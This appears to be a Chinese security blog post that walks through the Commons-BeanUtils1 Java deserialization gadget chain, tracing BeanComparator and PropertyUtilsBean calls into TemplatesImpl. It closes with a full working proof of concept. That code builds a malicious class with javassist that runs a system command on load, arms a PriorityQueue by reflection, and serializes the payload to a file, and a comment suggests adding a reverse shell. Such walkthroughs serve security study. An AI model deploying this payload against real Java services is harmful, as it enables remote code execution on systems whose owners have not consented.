CB链

CB链

在CC4中我们知道PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()可以调用某个对象的compare()方法,之前我们用的是TransformingComparator类,但CB链里是用的BeanComparator类。

BeanComparator:

我们看看它的compare()方法:

    public int compare( T o1, T o2 ) {

        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }

        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        }
        catch ( InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
        }
        catch ( NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        }
    }

可以看到Object value1 = PropertyUtils.getProperty( o1, property );会将传入参数作为参数调用PropertyUtils类的getProperty()方法

PropertyUtils:

直接看getProperty()方法

    public static Object getProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        return (PropertyUtilsBean.getInstance().getProperty(bean, name));

    }

会触发PropertyUtilsBean类的getProperty()方法

PropertyUtilsBean:

getProperty():

    public Object getProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        return (getNestedProperty(bean, name));

    }

getNestedProperty():

    public Object getNestedProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        }
        if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" +
                    bean.getClass() + "'");
        }

        // Resolve nested references
        while (resolver.hasNested(name)) {
            String next = resolver.next(name);
            Object nestedBean = null;
            if (bean instanceof Map) {
                nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);
            } else if (resolver.isMapped(next)) {
                nestedBean = getMappedProperty(bean, next);
            } else if (resolver.isIndexed(next)) {
                nestedBean = getIndexedProperty(bean, next);
            } else {
                nestedBean = getSimpleProperty(bean, next);
            }
            if (nestedBean == null) {
                throw new NestedNullException
                        ("Null property value for '" + name +
                        "' on bean class '" + bean.getClass() + "'");
            }
            bean = nestedBean;
            name = resolver.remove(name);
        }

        if (bean instanceof Map) {
            bean = getPropertyOfMapBean((Map<?, ?>) bean, name);
        } else if (resolver.isMapped(name)) {
            bean = getMappedProperty(bean, name);
        } else if (resolver.isIndexed(name)) {
            bean = getIndexedProperty(bean, name);
        } else {
            bean = getSimpleProperty(bean, name);
        }
        return bean;

    }

这里如果我们传入的bean和name是TemplatesImpl类和outputProperties就会走到bean = getSimpleProperty(bean, name);

这里name来自BeanComparator类的property,可以反射设定

getSimpleProperty:

    public Object getSimpleProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        }
        if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" +
                    bean.getClass() + "'");
        }

        // Validate the syntax of the property name
        if (resolver.hasNested(name)) {
            throw new IllegalArgumentException
                    ("Nested property names are not allowed: Property '" +
                    name + "' on bean class '" + bean.getClass() + "'");
        } else if (resolver.isIndexed(name)) {
            throw new IllegalArgumentException
                    ("Indexed property names are not allowed: Property '" +
                    name + "' on bean class '" + bean.getClass() + "'");
        } else if (resolver.isMapped(name)) {
            throw new IllegalArgumentException
                    ("Mapped property names are not allowed: Property '" +
                    name + "' on bean class '" + bean.getClass() + "'");
        }

        // Handle DynaBean instances specially
        if (bean instanceof DynaBean) {
            DynaProperty descriptor =
                    ((DynaBean) bean).getDynaClass().getDynaProperty(name);
            if (descriptor == null) {
                throw new NoSuchMethodException("Unknown property '" +
                        name + "' on dynaclass '" +
                        ((DynaBean) bean).getDynaClass() + "'" );
            }
            return (((DynaBean) bean).get(name));
        }

        // Retrieve the property getter method for the specified property
        PropertyDescriptor descriptor =
                getPropertyDescriptor(bean, name);
        if (descriptor == null) {
            throw new NoSuchMethodException("Unknown property '" +
                    name + "' on class '" + bean.getClass() + "'" );
        }
        Method readMethod = getReadMethod(bean.getClass(), descriptor);
        if (readMethod == null) {
            throw new NoSuchMethodException("Property '" + name +
                    "' has no getter method in class '" + bean.getClass() + "'");
        }

        // Call the property getter and return the value
        Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
        return (value);

    }

这个方法中会经过

PropertyDescriptor descriptor = getPropertyDescriptor(bean, name);

Method readMethod = getReadMethod(bean.getClass(), descriptor);

Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);

getPropertyDescriptor:
    public PropertyDescriptor getPropertyDescriptor(Object bean,
                                                           String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        }
        if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" +
                    bean.getClass() + "'");
        }

        // Resolve nested references
        while (resolver.hasNested(name)) {
            String next = resolver.next(name);
            Object nestedBean = getProperty(bean, next);
            if (nestedBean == null) {
                throw new NestedNullException
                        ("Null property value for '" + next +
                        "' on bean class '" + bean.getClass() + "'");
            }
            bean = nestedBean;
            name = resolver.remove(name);
        }

        // Remove any subscript from the final name value
        name = resolver.getProperty(name);

        // Look up and return this property from our cache
        // creating and adding it to the cache if not found.
        if (name == null) {
            return (null);
        }

        BeanIntrospectionData data = getIntrospectionData(bean.getClass());
        PropertyDescriptor result = data.getDescriptor(name);
        if (result != null) {
            return result;
        }

        FastHashMap mappedDescriptors =
                getMappedPropertyDescriptors(bean);
        if (mappedDescriptors == null) {
            mappedDescriptors = new FastHashMap();
            mappedDescriptors.setFast(true);
            mappedDescriptorsCache.put(bean.getClass(), mappedDescriptors);
        }
        result = (PropertyDescriptor) mappedDescriptors.get(name);
        if (result == null) {
            // not found, try to create it
            try {
                result = new MappedPropertyDescriptor(name, bean.getClass());
            } catch (IntrospectionException ie) {
                /* Swallow IntrospectionException
                 * TODO: Why?
                 */
            }
            if (result != null) {
                mappedDescriptors.put(name, result);
            }
        }

        return result;

    }

这里又会遇到两个分支:

BeanIntrospectionData data = getIntrospectionData(bean.getClass());

PropertyDescriptor result = data.getDescriptor(name);

BeanIntrospectionData.getIntrospectionData():

先看看这个方法:

    private BeanIntrospectionData getIntrospectionData(Class<?> beanClass) {
        if (beanClass == null) {
            throw new IllegalArgumentException("No bean class specified");
        }

        // Look up any cached information for this bean class
        BeanIntrospectionData data = descriptorsCache.get(beanClass);
        if (data == null) {
            data = fetchIntrospectionData(beanClass);
            descriptorsCache.put(beanClass, data);
        }

        return data;
    }

走到 data = fetchIntrospectionData(beanClass);

fetchIntrospectionData:
    private BeanIntrospectionData fetchIntrospectionData(Class<?> beanClass) {
        DefaultIntrospectionContext ictx = new DefaultIntrospectionContext(beanClass);

        for (BeanIntrospector bi : introspectors) {
            try {
                bi.introspect(ictx);
            } catch (IntrospectionException iex) {
                log.error("Exception during introspection", iex);
            }
        }

        return new BeanIntrospectionData(ictx.getPropertyDescriptors());
    }

解释一下就是查找传入参数的类的所有属性描述符,装进一个集合并返回

getDescriptor:

在之前返回的属性描述符集合里寻找字段对应的属性描述符并返回,也是getPropertyDescriptor最终返回的东西。

Method readMethod = getReadMethod(bean.getClass(), descriptor):

通过传入的类和属性描述符获得对应方法的反射对象并返回

Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY):
    private Object invokeMethod(
                        Method method,
                        Object bean,
                        Object[] values)
                            throws
                                IllegalAccessException,
                                InvocationTargetException {
        if(bean == null) {
            throw new IllegalArgumentException("No bean specified " +
                "- this should have been checked before reaching this method");
        }

        try {

            return method.invoke(bean, values);

        } catch (NullPointerException cause) {
            // JDK 1.3 and JDK 1.4 throw NullPointerException if an argument is
            // null for a primitive value (JDK 1.5+ throw IllegalArgumentException)
            String valueString = "";
            if (values != null) {
                for (int i = 0; i < values.length; i++) {
                    if (i>0) {
                        valueString += ", " ;
                    }
                    if (values[i] == null) {
                        valueString += "<null>";
                    } else {
                        valueString += (values[i]).getClass().getName();
                    }
                }
            }
            String expectedString = "";
            Class<?>[] parTypes = method.getParameterTypes();
            if (parTypes != null) {
                for (int i = 0; i < parTypes.length; i++) {
                    if (i > 0) {
                        expectedString += ", ";
                    }
                    expectedString += parTypes[i].getName();
                }
            }
            IllegalArgumentException e = new IllegalArgumentException(
                "Cannot invoke " + method.getDeclaringClass().getName() + "."
                + method.getName() + " on bean class '" + bean.getClass() +
                "' - " + cause.getMessage()
                // as per https://issues.apache.org/jira/browse/BEANUTILS-224
                + " - had objects of type "" + valueString
                + "" but expected signature ""
                +   expectedString + """
                );
            if (!BeanUtils.initCause(e, cause)) {
                log.error("Method invocation failed", cause);
            }
            throw e;
        } catch (IllegalArgumentException cause) {
            String valueString = "";
            if (values != null) {
                for (int i = 0; i < values.length; i++) {
                    if (i>0) {
                        valueString += ", " ;
                    }
                    if (values[i] == null) {
                        valueString += "<null>";
                    } else {
                        valueString += (values[i]).getClass().getName();
                    }
                }
            }
            String expectedString = "";
            Class<?>[] parTypes = method.getParameterTypes();
            if (parTypes != null) {
                for (int i = 0; i < parTypes.length; i++) {
                    if (i > 0) {
                        expectedString += ", ";
                    }
                    expectedString += parTypes[i].getName();
                }
            }
            IllegalArgumentException e = new IllegalArgumentException(
                "Cannot invoke " + method.getDeclaringClass().getName() + "."
                + method.getName() + " on bean class '" + bean.getClass() +
                "' - " + cause.getMessage()
                // as per https://issues.apache.org/jira/browse/BEANUTILS-224
                + " - had objects of type "" + valueString
                + "" but expected signature ""
                +   expectedString + """
                );
            if (!BeanUtils.initCause(e, cause)) {
                log.error("Method invocation failed", cause);
            }
            throw e;

        }
    }

可以看到最后调用了return method.invoke(bean, values);,也就是会触发我们传入的TemplatesImpl对象的getOutputProperties方法

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

触发newTransformer(),后面跟的就是CC3的类加载了。所以最后的poc:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;

public class CommonsBeanUtils1 {
    static String serialFileName = "commons-bean-utils1.ser";
    public static void main(String[] args) throws Exception {
//        cb1bySerial();
        verify();
    }

    public static void verify() throws Exception {
        // 本地模拟反序列化
        FileInputStream fis = new FileInputStream(serialFileName);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object ignore = (Object) ois.readObject();
    }

    public static void cb1bySerial() throws Exception {
        //==========================CC2中的构造Templates的内容 START==========================
        String executeCode = "Runtime.getRuntime().exec("cmd /c start");";
        ClassPool pool = ClassPool.getDefault();
        CtClass evil = pool.makeClass("ysoserial.Evil");
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        evil.makeClassInitializer().insertAfter(executeCode);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        evil.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(AbstractTranslet.class.getName());
        evil.setSuperclass(superC);

        final byte[] classBytes = evil.toBytecode();
        byte[][] trueclassbyte = new byte[][]{classBytes};

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, trueclassbyte);

        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "Pwnr");

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        //==========================CB1链触发点 START==========================

        // mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        // 这里是让其触发BigInteger.lowestSetBit属性方法,可以在set queue值的时候不报错。
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // switch method called by comparator
        // 然后通过反射来对应的属性值,这样就能避免触发额外的动作
        Field property = comparator.getClass().getDeclaredField("property");
        property.setAccessible(true);
        property.set(comparator, "outputProperties");

        // switch contents of queue
        // queue中的值也是一样,通过反射来set值就不会触发heapfiy等一系列动作
        Field queueFiled = queue.getClass().getDeclaredField("queue");
        queueFiled.setAccessible(true);
        final Object[] queueArray = (Object[])queueFiled.get(queue);
        queueArray[0] = templates;
        queueArray[1] = templates;

        //====================CB1链触发END===================
        FileOutputStream fos = new FileOutputStream(serialFileName);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        fos.close();
    }
}

ps:这里关于属性描述符等跟进了一下实现发现是一大坨抽象的东西(,掌握的不是很好,感觉讲不明白就不讲解了,感兴趣的师傅可以自己跟进看看

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇